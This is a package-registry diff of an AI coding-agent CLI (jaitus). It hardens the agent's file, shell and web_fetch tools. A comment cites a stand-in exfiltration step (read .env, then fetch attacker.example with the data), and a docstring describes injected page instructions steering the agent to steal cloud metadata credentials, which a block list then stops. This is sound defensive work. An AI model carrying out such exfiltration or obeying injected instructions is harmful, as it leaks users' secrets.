jaitus 0.3.3 → 0.3.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +34 -38
- package/bin/jaitus.js +14 -1
- package/package.json +2 -2
- package/src/agent/loop.js +234 -35
- package/src/agent/permissions.js +50 -17
- package/src/agent/rules.js +85 -14
- package/src/agent/tools.js +266 -50
- package/src/background.js +34 -7
- package/src/commands/commit.js +63 -46
- package/src/commands/doctor.js +1 -1
- package/src/commands/explain.js +5 -5
- package/src/commands/logout.js +2 -0
- package/src/commands/research.js +5 -6
- package/src/commands/review.js +8 -11
- package/src/commands/test.js +18 -14
- package/src/commands/update.js +78 -12
- package/src/config.js +12 -1
- package/src/errors.js +4 -0
- package/src/index.js +571 -119
- package/src/mcp.js +209 -72
- package/src/pendingUpdate.js +41 -0
- package/src/project.js +0 -0
- package/src/session.js +18 -0
- package/src/sessions.js +20 -2
- package/src/terminal.js +46 -11
- package/src/tui/ansi.js +3 -1
- package/src/tui/clipboard.js +161 -0
- package/src/tui/entries.js +5 -5
- package/src/tui/highlight.js +4 -4
- package/src/tui/markdown.js +1 -1
- package/src/tui/theme.js +8 -0
- package/src/tui/widgets.js +6 -2
- package/src/tui-ink.js +2509 -1998
- package/src/tui.js +4 -0
- package/src/ui.js +5 -1
package/src/agent/tools.js
CHANGED
|
@@ -17,7 +17,7 @@
|
|
|
17
17
|
import fs from 'node:fs/promises';
|
|
18
18
|
import fsSync from 'node:fs';
|
|
19
19
|
import path from 'node:path';
|
|
20
|
-
import { spawn } from 'node:child_process';
|
|
20
|
+
import { spawn, spawnSync } from 'node:child_process';
|
|
21
21
|
import { loadIgnore, IGNORE_FILE } from '../project.js';
|
|
22
22
|
import { searchWeb, formatResults } from './websearch.js';
|
|
23
23
|
|
|
@@ -32,6 +32,91 @@ function truncate(text, limit = MAX_OUTPUT) {
|
|
|
32
32
|
return `${s.slice(0, limit)}\n\n[truncated — ${s.length - limit} more characters]`;
|
|
33
33
|
}
|
|
34
34
|
|
|
35
|
+
// ── Processes ──
|
|
36
|
+
const CAPTURE_MAX = 2 * 1024 * 1024;
|
|
37
|
+
|
|
38
|
+
/** Collect a stream's bytes up to CAPTURE_MAX; .text() decodes them once. */
|
|
39
|
+
export function captureStream(stream) {
|
|
40
|
+
const chunks = [];
|
|
41
|
+
let size = 0;
|
|
42
|
+
let dropped = 0;
|
|
43
|
+
stream?.on('data', (d) => {
|
|
44
|
+
if (size >= CAPTURE_MAX) { dropped += d.length; return; }
|
|
45
|
+
const take = d.subarray(0, CAPTURE_MAX - size);
|
|
46
|
+
chunks.push(take);
|
|
47
|
+
size += take.length;
|
|
48
|
+
dropped += d.length - take.length;
|
|
49
|
+
});
|
|
50
|
+
return {
|
|
51
|
+
text() {
|
|
52
|
+
const s = new TextDecoder('utf-8').decode(Buffer.concat(chunks));
|
|
53
|
+
return dropped ? `${s}\n[… ${Math.round(dropped / 1024)} KB more output not kept]` : s;
|
|
54
|
+
},
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/** Kill a child and everything it started. */
|
|
59
|
+
export function killTree(child) {
|
|
60
|
+
if (!child?.pid) return;
|
|
61
|
+
try {
|
|
62
|
+
if (process.platform === 'win32') {
|
|
63
|
+
spawnSync('taskkill', ['/pid', String(child.pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
|
|
64
|
+
} else {
|
|
65
|
+
try { process.kill(-child.pid, 'SIGKILL'); } catch { child.kill('SIGKILL'); }
|
|
66
|
+
}
|
|
67
|
+
} catch { /* already gone */ }
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// ── Text files as they really are on disk ──
|
|
71
|
+
const READ_MAX_BYTES = 16 * 1024 * 1024;
|
|
72
|
+
|
|
73
|
+
async function readHead(file, bytes) {
|
|
74
|
+
const handle = await fs.open(file, 'r');
|
|
75
|
+
try {
|
|
76
|
+
const buf = Buffer.alloc(bytes);
|
|
77
|
+
const { bytesRead } = await handle.read(buf, 0, bytes, 0);
|
|
78
|
+
return buf.subarray(0, bytesRead);
|
|
79
|
+
} finally { await handle.close(); }
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/** A NUL in the first 8 KB means binary — except UTF-16, which is full of them. */
|
|
83
|
+
export function looksBinary(buf) {
|
|
84
|
+
if (!buf?.length) return false;
|
|
85
|
+
if ((buf[0] === 0xff && buf[1] === 0xfe) || (buf[0] === 0xfe && buf[1] === 0xff)) return false;
|
|
86
|
+
return buf.subarray(0, 8192).includes(0);
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
/**
|
|
90
|
+
* Bytes → { text, eol, bom, encoding }. UTF-16 (what PowerShell 5.1 `>` writes) is
|
|
91
|
+
* decoded rather than returned as garbage, and a UTF-8 BOM is remembered so a rewrite
|
|
92
|
+
* keeps it. `eol` is the file's dominant line ending, so edits can write it back.
|
|
93
|
+
*/
|
|
94
|
+
export function decodeText(buf) {
|
|
95
|
+
let encoding = 'utf8';
|
|
96
|
+
let bom = false;
|
|
97
|
+
let text;
|
|
98
|
+
if (buf[0] === 0xff && buf[1] === 0xfe) { encoding = 'utf16le'; bom = true; text = buf.subarray(2).toString('utf16le'); }
|
|
99
|
+
else if (buf[0] === 0xfe && buf[1] === 0xff) {
|
|
100
|
+
encoding = 'utf16be'; bom = true;
|
|
101
|
+
const swapped = Buffer.from(buf.subarray(2)); swapped.swap16();
|
|
102
|
+
text = swapped.toString('utf16le');
|
|
103
|
+
} else if (buf[0] === 0xef && buf[1] === 0xbb && buf[2] === 0xbf) { bom = true; text = buf.subarray(3).toString('utf8'); }
|
|
104
|
+
else text = buf.toString('utf8');
|
|
105
|
+
const crlf = (text.match(/\r\n/g) || []).length;
|
|
106
|
+
const lf = (text.match(/\n/g) || []).length - crlf;
|
|
107
|
+
return { text, eol: crlf > lf ? '\r\n' : '\n', bom, encoding };
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/** Text (with \n line endings) → bytes in the style decodeText found. */
|
|
111
|
+
export function encodeText(text, { eol = '\n', bom = false, encoding = 'utf8' } = {}) {
|
|
112
|
+
let body = String(text).replace(/\r\n/g, '\n');
|
|
113
|
+
if (eol === '\r\n') body = body.replace(/\n/g, '\r\n');
|
|
114
|
+
if (encoding === 'utf16le') return Buffer.concat([Buffer.from([0xff, 0xfe]), Buffer.from(body, 'utf16le')]);
|
|
115
|
+
if (encoding === 'utf16be') { const b = Buffer.from(body, 'utf16le'); b.swap16(); return Buffer.concat([Buffer.from([0xfe, 0xff]), b]); }
|
|
116
|
+
const out = Buffer.from(body, 'utf8');
|
|
117
|
+
return bom ? Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), out]) : out;
|
|
118
|
+
}
|
|
119
|
+
|
|
35
120
|
/**
|
|
36
121
|
* Resolve a user/model-supplied path inside the working directory.
|
|
37
122
|
* Rejects anything that escapes it, including via a symlink whose real path leads out.
|
|
@@ -52,8 +137,18 @@ function safePath(cwd, p) {
|
|
|
52
137
|
}
|
|
53
138
|
} catch (e) {
|
|
54
139
|
if (e instanceof ToolError) throw e;
|
|
55
|
-
// Does not exist yet
|
|
56
|
-
//
|
|
140
|
+
// Does not exist yet (a new file): its nearest EXISTING parent must be inside too —
|
|
141
|
+
// otherwise a write through a symlinked or junctioned directory (src -> C:\Windows)
|
|
142
|
+
// escaped the project, because only the missing file itself was ever resolved.
|
|
143
|
+
let parent = path.dirname(resolved);
|
|
144
|
+
while (parent && !fsSync.existsSync(parent) && path.dirname(parent) !== parent) parent = path.dirname(parent);
|
|
145
|
+
try {
|
|
146
|
+
const realParent = fsSync.realpathSync(parent);
|
|
147
|
+
const parentRel = path.relative(fsSync.realpathSync(cwd), realParent);
|
|
148
|
+
if (parentRel.startsWith('..') || path.isAbsolute(parentRel)) {
|
|
149
|
+
throw new ToolError(`Refused: ${p} is inside a folder that links outside the working directory.`);
|
|
150
|
+
}
|
|
151
|
+
} catch (inner) { if (inner instanceof ToolError) throw inner; }
|
|
57
152
|
}
|
|
58
153
|
return resolved;
|
|
59
154
|
}
|
|
@@ -94,22 +189,29 @@ function refuseIfIgnored(cwd, p) {
|
|
|
94
189
|
}
|
|
95
190
|
}
|
|
96
191
|
|
|
97
|
-
|
|
98
|
-
|
|
192
|
+
/**
|
|
193
|
+
* Every path under `dir`, relative to `cwd`. `out.truncated` is set when the walk
|
|
194
|
+
* stopped early (entry or depth limit) — callers say so, because "no match" from a walk
|
|
195
|
+
* that gave up is not "no match". Dot-entries are skipped unless `dot` (a pattern that
|
|
196
|
+
* asks for `.github/**`); `.git` never.
|
|
197
|
+
*/
|
|
198
|
+
async function walk(dir, cwd, out, depth, maxEntries, { dot = false } = {}) {
|
|
199
|
+
if (out.length >= maxEntries) { out.truncated = true; return; }
|
|
200
|
+
if (depth < 0) { out.truncated = true; return; }
|
|
99
201
|
const ignore = ignoreFor(cwd);
|
|
100
202
|
let entries;
|
|
101
203
|
try {
|
|
102
204
|
entries = await fs.readdir(dir, { withFileTypes: true });
|
|
103
205
|
} catch { return; }
|
|
104
206
|
for (const e of entries) {
|
|
105
|
-
if (out.length >= maxEntries) return;
|
|
106
|
-
if (e.name.startsWith('.') && e.name !== '.env.example') continue;
|
|
207
|
+
if (out.length >= maxEntries) { out.truncated = true; return; }
|
|
208
|
+
if (e.name.startsWith('.') && e.name !== '.env.example' && (!dot || e.name === '.git')) continue;
|
|
107
209
|
const rel = posix(path.relative(cwd, path.join(dir, e.name)));
|
|
108
210
|
if (ignore.matches(rel)) continue;
|
|
109
211
|
if (e.isDirectory()) {
|
|
110
212
|
if (IGNORED_DIRS.has(e.name)) continue;
|
|
111
213
|
out.push(`${rel}/`);
|
|
112
|
-
await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries);
|
|
214
|
+
await walk(path.join(dir, e.name), cwd, out, depth - 1, maxEntries, { dot });
|
|
113
215
|
} else {
|
|
114
216
|
out.push(rel);
|
|
115
217
|
}
|
|
@@ -138,8 +240,14 @@ export const TOOLS = [
|
|
|
138
240
|
const stat = await fs.stat(file).catch(() => null);
|
|
139
241
|
if (!stat) throw new ToolError(`No such file: ${input.path}`);
|
|
140
242
|
if (stat.isDirectory()) throw new ToolError(`${input.path} is a directory — use list_files.`);
|
|
141
|
-
|
|
243
|
+
// A 200 MB log was read whole and split just to return 2000 lines — about a GB of
|
|
244
|
+
// memory and a frozen interface. Past READ_MAX_BYTES only the head is read.
|
|
245
|
+
const partial = stat.size > READ_MAX_BYTES;
|
|
246
|
+
const buf = partial ? await readHead(file, READ_MAX_BYTES) : await fs.readFile(file);
|
|
247
|
+
if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file (${Math.round(stat.size / 1024)} KB), not text. Inspect it with a command if you need to.`);
|
|
248
|
+
const raw = decodeText(buf).text.replace(/\r\n/g, '\n');
|
|
142
249
|
const lines = raw.split('\n');
|
|
250
|
+
if (partial) lines.push(`[… file is ${Math.round(stat.size / 1048576)} MB; only the first ${Math.round(READ_MAX_BYTES / 1048576)} MB were read. Use search, or a command like findstr / grep, for the rest.]`);
|
|
143
251
|
const start = Math.max(0, (input.offset || 1) - 1);
|
|
144
252
|
const end = Math.min(lines.length, start + (input.limit || MAX_READ_LINES));
|
|
145
253
|
const body = lines.slice(start, end)
|
|
@@ -168,9 +276,12 @@ export const TOOLS = [
|
|
|
168
276
|
const file = safePath(cwd, input.path);
|
|
169
277
|
refuseIfIgnored(cwd, input.path);
|
|
170
278
|
await fs.mkdir(path.dirname(file), { recursive: true });
|
|
171
|
-
const
|
|
172
|
-
|
|
173
|
-
|
|
279
|
+
const before = await fs.readFile(file).catch(() => null);
|
|
280
|
+
// A replaced file keeps its line endings and encoding: rewriting a CRLF file as LF
|
|
281
|
+
// (or a UTF-16 one as UTF-8) changes every line of it in the diff.
|
|
282
|
+
const style = before ? decodeText(before) : { eol: '\n', bom: false, encoding: 'utf8' };
|
|
283
|
+
await fs.writeFile(file, encodeText(String(input.content ?? ''), style));
|
|
284
|
+
return `${before ? 'Replaced' : 'Created'} ${input.path}`;
|
|
174
285
|
},
|
|
175
286
|
},
|
|
176
287
|
|
|
@@ -208,15 +319,26 @@ export const TOOLS = [
|
|
|
208
319
|
async run(input, { cwd }) {
|
|
209
320
|
const file = safePath(cwd, input.path);
|
|
210
321
|
refuseIfIgnored(cwd, input.path);
|
|
211
|
-
const
|
|
212
|
-
if (
|
|
322
|
+
const buf = await fs.readFile(file).catch(() => null);
|
|
323
|
+
if (buf === null) throw new ToolError(`No such file: ${input.path}`);
|
|
324
|
+
if (looksBinary(buf)) throw new ToolError(`${input.path} is a binary file — it cannot be edited as text.`);
|
|
325
|
+
// Worked on with plain \n line endings, written back in the file's own. On Windows
|
|
326
|
+
// most checkouts are CRLF, the model writes \n, and every multi-line `old` failed
|
|
327
|
+
// to match — "That exact text is not in …" until the stuck detector stopped it.
|
|
328
|
+
const style = decodeText(buf);
|
|
329
|
+
const raw = style.text.replace(/\r\n/g, '\n');
|
|
330
|
+
const lf = (s) => String(s).replace(/\r\n/g, '\n');
|
|
213
331
|
|
|
214
|
-
const edits = Array.isArray(input.edits) && input.edits.length
|
|
332
|
+
const edits = (Array.isArray(input.edits) && input.edits.length
|
|
215
333
|
? input.edits
|
|
216
|
-
: [{ old: input.old, new: input.new, replace_all: input.replace_all }]
|
|
334
|
+
: [{ old: input.old, new: input.new, replace_all: input.replace_all }])
|
|
335
|
+
.map((e) => (e && typeof e.old === 'string' && typeof e.new === 'string' ? { ...e, old: lf(e.old), new: lf(e.new) } : e));
|
|
217
336
|
if (!edits.length || edits.some((e) => typeof e?.old !== 'string' || typeof e?.new !== 'string')) {
|
|
218
337
|
throw new ToolError('Give old and new, or a list of edits each with old and new.');
|
|
219
338
|
}
|
|
339
|
+
if (edits.some((e) => e.old === '')) {
|
|
340
|
+
throw new ToolError('old is empty. To add text, include a line next to where it goes in old; to create or replace a whole file, use write_file. Nothing was changed.');
|
|
341
|
+
}
|
|
220
342
|
|
|
221
343
|
// Applied to a working copy and written once. A partial multi-edit — three of five
|
|
222
344
|
// replacements landing before the fourth fails to match — leaves a file in a state
|
|
@@ -238,11 +360,18 @@ export const TOOLS = [
|
|
|
238
360
|
`That text appears ${occurrences} times in ${input.path}${where}. Include more surrounding context, or set replace_all. Nothing was changed.`,
|
|
239
361
|
);
|
|
240
362
|
}
|
|
241
|
-
|
|
363
|
+
// Spliced, never String.replace with a string: that expands `$$`, `$&` and `$'`
|
|
364
|
+
// in the NEW text, so `echo "pid $$"` was written as `echo "pid $"` — reported
|
|
365
|
+
// as a successful edit.
|
|
366
|
+
if (edit.replace_all) next = next.split(edit.old).join(edit.new);
|
|
367
|
+
else {
|
|
368
|
+
const at = next.indexOf(edit.old);
|
|
369
|
+
next = next.slice(0, at) + edit.new + next.slice(at + edit.old.length);
|
|
370
|
+
}
|
|
242
371
|
changed += occurrences;
|
|
243
372
|
}
|
|
244
373
|
|
|
245
|
-
await fs.writeFile(file, next,
|
|
374
|
+
await fs.writeFile(file, encodeText(next, style));
|
|
246
375
|
const before = raw.split('\n').length;
|
|
247
376
|
const after = next.split('\n').length;
|
|
248
377
|
const delta = after - before;
|
|
@@ -269,13 +398,20 @@ export const TOOLS = [
|
|
|
269
398
|
summarise: (i) => `glob ${i.pattern}`,
|
|
270
399
|
async run(input, { cwd }) {
|
|
271
400
|
const root = safePath(cwd, input.path || '.');
|
|
272
|
-
|
|
401
|
+
// `src\**\*.ts` is how a Windows path is written; the pattern language is `/`.
|
|
402
|
+
const pattern = String(input.pattern || '').replace(/\\/g, '/').replace(/^\.\//, '');
|
|
403
|
+
const re = globToRegExp(pattern);
|
|
273
404
|
const limit = Math.min(Math.max(Number(input.limit) || 200, 1), 2000);
|
|
274
405
|
const found = [];
|
|
275
|
-
await walk(root, cwd, found, 12, 20_000);
|
|
276
|
-
|
|
406
|
+
await walk(root, cwd, found, 12, 20_000, { dot: /(^|\/)\./.test(pattern) });
|
|
407
|
+
// Matched against the path from `path`, returned from the project root: with
|
|
408
|
+
// path "src", "*.ts" means src/*.ts. It was matched against the root-relative
|
|
409
|
+
// path, so glob {pattern:"*.ts", path:"src"} never matched anything.
|
|
410
|
+
const fromRoot = (rel) => posix(path.relative(root, path.resolve(cwd, rel)));
|
|
411
|
+
const matched = found.filter((rel) => !rel.endsWith('/') && re.test(fromRoot(rel)));
|
|
412
|
+
const cut = found.truncated ? ' The search stopped early (a very large tree) — give a narrower path.' : '';
|
|
277
413
|
if (!matched.length) {
|
|
278
|
-
return `No file matches ${input.pattern}
|
|
414
|
+
return `No file matches ${input.pattern}.${cut} Note that * does not cross a / — use ** for that, as in **/*.ts.`;
|
|
279
415
|
}
|
|
280
416
|
// Newest first: when a pattern matches many files, the ones touched most recently
|
|
281
417
|
// are almost always the ones the question is about.
|
|
@@ -305,9 +441,11 @@ export const TOOLS = [
|
|
|
305
441
|
async run(input, { cwd }) {
|
|
306
442
|
const dir = safePath(cwd, input.path || '.');
|
|
307
443
|
const found = [];
|
|
308
|
-
|
|
444
|
+
// depth N means N levels (the walk counts from 0, so it went one deeper than asked).
|
|
445
|
+
await walk(dir, cwd, found, Math.max(0, (input.depth ?? 2) - 1), 600);
|
|
309
446
|
if (!found.length) return 'No files found.';
|
|
310
|
-
|
|
447
|
+
const cut = found.truncated ? '\n\n[stopped at 600 entries or the depth limit — list a subdirectory, or use glob]' : '';
|
|
448
|
+
return truncate(found.sort().join('\n') + cut);
|
|
311
449
|
},
|
|
312
450
|
},
|
|
313
451
|
|
|
@@ -335,12 +473,18 @@ export const TOOLS = [
|
|
|
335
473
|
}
|
|
336
474
|
const dir = safePath(cwd, input.path || '.');
|
|
337
475
|
const files = [];
|
|
338
|
-
await walk(dir, cwd, files,
|
|
476
|
+
await walk(dir, cwd, files, 12, 20_000);
|
|
477
|
+
// `glob` may be an ending (".ts") or a real pattern ("*.ts", "**/*.ts"). Only the
|
|
478
|
+
// ending worked, so a model passing a glob always got "No matches".
|
|
479
|
+
const g = String(input.glob || '').replace(/\\/g, '/');
|
|
480
|
+
const fileRe = g && /[*?]/.test(g) ? globToRegExp(g.includes('/') ? g : `**/${g}`) : null;
|
|
481
|
+
const wanted = (rel) => !g || (fileRe ? fileRe.test(rel) : rel.endsWith(g));
|
|
339
482
|
const hits = [];
|
|
483
|
+
let capped = false;
|
|
340
484
|
for (const rel of files) {
|
|
341
485
|
if (rel.endsWith('/')) continue;
|
|
342
|
-
if (
|
|
343
|
-
if (hits.length >= 200) break;
|
|
486
|
+
if (!wanted(rel)) continue;
|
|
487
|
+
if (hits.length >= 200) { capped = true; break; }
|
|
344
488
|
let text;
|
|
345
489
|
try {
|
|
346
490
|
const stat = await fs.stat(path.join(cwd, rel));
|
|
@@ -352,7 +496,10 @@ export const TOOLS = [
|
|
|
352
496
|
if (re.test(line)) hits.push(`${rel}:${i + 1}: ${line.trim().slice(0, 240)}`);
|
|
353
497
|
});
|
|
354
498
|
}
|
|
355
|
-
|
|
499
|
+
const note = capped || hits.length >= 200 ? '\n\n[first 200 matches — narrow the pattern or the path for the rest]'
|
|
500
|
+
: files.truncated ? '\n\n[the search stopped early (a very large tree) — some files were not searched; give a narrower path]' : '';
|
|
501
|
+
if (!hits.length) return files.truncated ? 'No matches in the files searched — but the search stopped early (a very large tree). Give a narrower path.' : 'No matches.';
|
|
502
|
+
return truncate(hits.join('\n') + note);
|
|
356
503
|
},
|
|
357
504
|
},
|
|
358
505
|
|
|
@@ -370,10 +517,11 @@ export const TOOLS = [
|
|
|
370
517
|
required: ['command'],
|
|
371
518
|
},
|
|
372
519
|
summarise: (i) => i.command,
|
|
373
|
-
run(input, { cwd }) {
|
|
520
|
+
run(input, { cwd, signal = null }) {
|
|
374
521
|
const command = String(input.command || '').trim();
|
|
375
522
|
if (!command) throw new ToolError('No command given.');
|
|
376
523
|
const timeout = Math.min(Math.max(Number(input.timeout_ms) || 120_000, 1000), 600_000);
|
|
524
|
+
if (signal?.aborted) return Promise.resolve('Not run: stopped by the user.');
|
|
377
525
|
|
|
378
526
|
return new Promise((resolve) => {
|
|
379
527
|
// `shell: true` rather than spawning cmd.exe with an argument array.
|
|
@@ -390,30 +538,56 @@ export const TOOLS = [
|
|
|
390
538
|
// No TTY: anything that would prompt gets EOF and exits instead of hanging
|
|
391
539
|
// forever with nobody able to type into it.
|
|
392
540
|
stdio: ['ignore', 'pipe', 'pipe'],
|
|
541
|
+
windowsHide: true,
|
|
542
|
+
// Its own process group on POSIX, so the whole tree can be killed at once.
|
|
543
|
+
detached: process.platform !== 'win32',
|
|
393
544
|
});
|
|
394
545
|
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
546
|
+
// Bytes, decoded once at the end: decoding chunk by chunk split multi-byte
|
|
547
|
+
// characters across chunks into garbage. Capped: `type huge.log` grew memory
|
|
548
|
+
// until a RangeError crashed the process.
|
|
549
|
+
const out = captureStream(child.stdout);
|
|
550
|
+
const err = captureStream(child.stderr);
|
|
551
|
+
let note = '';
|
|
552
|
+
let settled = false;
|
|
553
|
+
|
|
554
|
+
const finish = (code) => {
|
|
555
|
+
if (settled) return;
|
|
556
|
+
settled = true;
|
|
557
|
+
clearTimeout(timer);
|
|
558
|
+
signal?.removeEventListener?.('abort', onAbort);
|
|
559
|
+
// Each stream is cut on its own and the exit code always survives: truncating
|
|
560
|
+
// the joined text cut the exit code off the end of any long output, so the
|
|
561
|
+
// model could not tell whether the command had worked.
|
|
562
|
+
const parts = [];
|
|
563
|
+
const stdout = truncate(out.text().trim(), 40_000);
|
|
564
|
+
const stderr = truncate(err.text().trim(), 16_000);
|
|
565
|
+
if (stdout) parts.push(stdout);
|
|
566
|
+
if (stderr) parts.push(`stderr:\n${stderr}`);
|
|
567
|
+
if (note) parts.push(note);
|
|
568
|
+
parts.push(`exit code: ${code ?? 'none (killed)'}`);
|
|
569
|
+
resolve(parts.join('\n\n'));
|
|
570
|
+
};
|
|
399
571
|
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
572
|
+
// Killing the shell alone left what it started running — on Windows the node or
|
|
573
|
+
// npm grandchild kept the pipes open, `close` never came, and the tool never
|
|
574
|
+
// returned: timeouts did nothing and Esc could not stop a command.
|
|
575
|
+
const stop = (why) => { note = why; killTree(child); setTimeout(() => finish(null), 1500).unref?.(); };
|
|
576
|
+
const timer = setTimeout(() => stop(`[stopped after ${Math.round(timeout / 1000)}s — the time limit for this command]`), timeout);
|
|
577
|
+
const onAbort = () => stop('[stopped by the user]');
|
|
578
|
+
signal?.addEventListener?.('abort', onAbort, { once: true });
|
|
404
579
|
|
|
405
580
|
child.on('error', (e) => {
|
|
581
|
+
if (settled) return;
|
|
582
|
+
settled = true;
|
|
406
583
|
clearTimeout(timer);
|
|
407
584
|
resolve(`Could not run the command: ${e.message}`);
|
|
408
585
|
});
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
parts.push(`exit code: ${code}`);
|
|
415
|
-
resolve(truncate(parts.join('\n\n')));
|
|
416
|
-
});
|
|
586
|
+
// `exit` is the command finishing; `close` also waits for every process holding
|
|
587
|
+
// its output. A background child can hold that forever — give it a moment, then
|
|
588
|
+
// report what the command itself did.
|
|
589
|
+
child.on('exit', (code) => { setTimeout(() => finish(code), 400).unref?.(); });
|
|
590
|
+
child.on('close', (code) => finish(code));
|
|
417
591
|
});
|
|
418
592
|
},
|
|
419
593
|
},
|
|
@@ -451,7 +625,10 @@ export const TOOLS = [
|
|
|
451
625
|
name: 'web_fetch',
|
|
452
626
|
description:
|
|
453
627
|
'Fetch a web page and return its readable text with scripts, styles and navigation stripped. For documentation, GitHub files (use raw.githubusercontent.com), API references, and any URL that came from web_search. Prefer this over run_command + curl — it is faster and returns clean text.',
|
|
454
|
-
|
|
628
|
+
// Asks, per site ("always" covers that host). Reading never asks and fetching did
|
|
629
|
+
// not either: read .env, then fetch attacker.example/?d=... went through silently.
|
|
630
|
+
needsPermission: true,
|
|
631
|
+
network: true,
|
|
455
632
|
input_schema: {
|
|
456
633
|
type: 'object',
|
|
457
634
|
properties: {
|
|
@@ -461,9 +638,10 @@ export const TOOLS = [
|
|
|
461
638
|
required: ['url'],
|
|
462
639
|
},
|
|
463
640
|
summarise: (i) => `fetch ${String(i.url).slice(0, 80)}`,
|
|
464
|
-
async run(input) {
|
|
641
|
+
async run(input, { signal = null } = {}) {
|
|
465
642
|
const raw = String(input.url || '').trim();
|
|
466
643
|
if (!/^https?:\/\//i.test(raw)) throw new ToolError('Give a full http(s) URL.');
|
|
644
|
+
await refusePrivateTarget(raw);
|
|
467
645
|
const limit = Math.min(Math.max(Number(input.max_chars) || 20_000, 1000), 50_000);
|
|
468
646
|
|
|
469
647
|
const cached = fetchCache.get(raw);
|
|
@@ -480,7 +658,7 @@ export const TOOLS = [
|
|
|
480
658
|
'accept-language': 'en-US,en;q=0.9',
|
|
481
659
|
},
|
|
482
660
|
redirect: 'follow',
|
|
483
|
-
signal: AbortSignal.timeout(20_000),
|
|
661
|
+
signal: signal ? AbortSignal.any([signal, AbortSignal.timeout(20_000)]) : AbortSignal.timeout(20_000),
|
|
484
662
|
});
|
|
485
663
|
} catch (e) {
|
|
486
664
|
throw new ToolError(explainFetchFailure(e, raw));
|
|
@@ -502,11 +680,14 @@ export const TOOLS = [
|
|
|
502
680
|
throw new ToolError(`That URL is ${ctype.split(';')[0]}, not a document. Use read_image for a local image file.`);
|
|
503
681
|
}
|
|
504
682
|
|
|
683
|
+
// Read up to FETCH_MAX_BYTES: res.text() had no limit, so a 20-second download could
|
|
684
|
+
// be hundreds of MB in memory.
|
|
685
|
+
const body = await readCapped(res, FETCH_MAX_BYTES);
|
|
505
686
|
let text;
|
|
506
687
|
if (/json|xml|csv|javascript|text\/plain|markdown/i.test(ctype)) {
|
|
507
|
-
text =
|
|
688
|
+
text = body;
|
|
508
689
|
} else {
|
|
509
|
-
text = readableText(
|
|
690
|
+
text = readableText(body);
|
|
510
691
|
if (!text.trim()) {
|
|
511
692
|
throw new ToolError(
|
|
512
693
|
'The page returned no readable text — it is almost certainly rendered by JavaScript. '
|
|
@@ -691,6 +872,41 @@ export async function readImageForModel(cwd, p) {
|
|
|
691
872
|
return block;
|
|
692
873
|
}
|
|
693
874
|
|
|
875
|
+
const FETCH_MAX_BYTES = 5 * 1024 * 1024;
|
|
876
|
+
|
|
877
|
+
async function readCapped(res, max) {
|
|
878
|
+
if (!res.body?.getReader) return (await res.text()).slice(0, max);
|
|
879
|
+
const reader = res.body.getReader();
|
|
880
|
+
const chunks = [];
|
|
881
|
+
let size = 0;
|
|
882
|
+
for (;;) {
|
|
883
|
+
const { done, value } = await reader.read();
|
|
884
|
+
if (done) break;
|
|
885
|
+
chunks.push(Buffer.from(value));
|
|
886
|
+
size += value.length;
|
|
887
|
+
if (size >= max) { try { await reader.cancel(); } catch { /* closed */ } break; }
|
|
888
|
+
}
|
|
889
|
+
return new TextDecoder('utf-8').decode(Buffer.concat(chunks).subarray(0, max));
|
|
890
|
+
}
|
|
891
|
+
|
|
892
|
+
/**
|
|
893
|
+
* The cloud metadata endpoint and the link-local range: never. A fetched page or file
|
|
894
|
+
* with injected instructions could otherwise have the agent read an instance's
|
|
895
|
+
* credentials (169.254.169.254) and send them on. Localhost and the LAN stay reachable —
|
|
896
|
+
* a dev server is a normal thing to check — and every fetch asks first.
|
|
897
|
+
*/
|
|
898
|
+
async function refusePrivateTarget(raw) {
|
|
899
|
+
let host = '';
|
|
900
|
+
try { host = new URL(raw).hostname.replace(/^\[|\]$/g, ''); } catch { throw new ToolError('That is not a valid URL.'); }
|
|
901
|
+
const bad = (ip) => /^169\.254\./.test(ip) || /^fe80:/i.test(ip) || ip === '100.100.100.200' || /^fd00:ec2::254$/i.test(ip);
|
|
902
|
+
if (bad(host) || /^metadata(\.google\.internal)?$/i.test(host)) throw new ToolError('Cloud metadata and link-local addresses are blocked for web_fetch.');
|
|
903
|
+
try {
|
|
904
|
+
const { lookup } = await import('node:dns/promises');
|
|
905
|
+
const addrs = await lookup(host, { all: true });
|
|
906
|
+
if (addrs.some((a) => bad(a.address))) throw new ToolError('That host resolves to a link-local / metadata address, which is blocked for web_fetch.');
|
|
907
|
+
} catch (e) { if (e instanceof ToolError) throw e; /* a resolution error is reported by fetch itself */ }
|
|
908
|
+
}
|
|
909
|
+
|
|
694
910
|
const BROWSER_HEADERS = {
|
|
695
911
|
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36',
|
|
696
912
|
'accept': 'text/html',
|
package/src/background.js
CHANGED
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
// with background_read; /tasks lists jobs with attach/stop. `! cmd &` and
|
|
6
6
|
// Ctrl+B start one from the prompt; background_run does it from the model.
|
|
7
7
|
|
|
8
|
-
import { spawn } from 'node:child_process';
|
|
8
|
+
import { spawn, spawnSync } from 'node:child_process';
|
|
9
9
|
import fs from 'node:fs';
|
|
10
10
|
import os from 'node:os';
|
|
11
11
|
import path from 'node:path';
|
|
@@ -36,6 +36,7 @@ export function startBackground(command, cwd) {
|
|
|
36
36
|
child.on('close', (code) => {
|
|
37
37
|
job.exit = code ?? 'signal';
|
|
38
38
|
try { fs.appendFileSync(log, `\n[exit ${job.exit}]\n`); } catch { /* log gone */ }
|
|
39
|
+
try { fs.closeSync(out); } catch { /* already closed */ }
|
|
39
40
|
});
|
|
40
41
|
try { child.unref(); } catch { /* stay attached */ }
|
|
41
42
|
job.child = child;
|
|
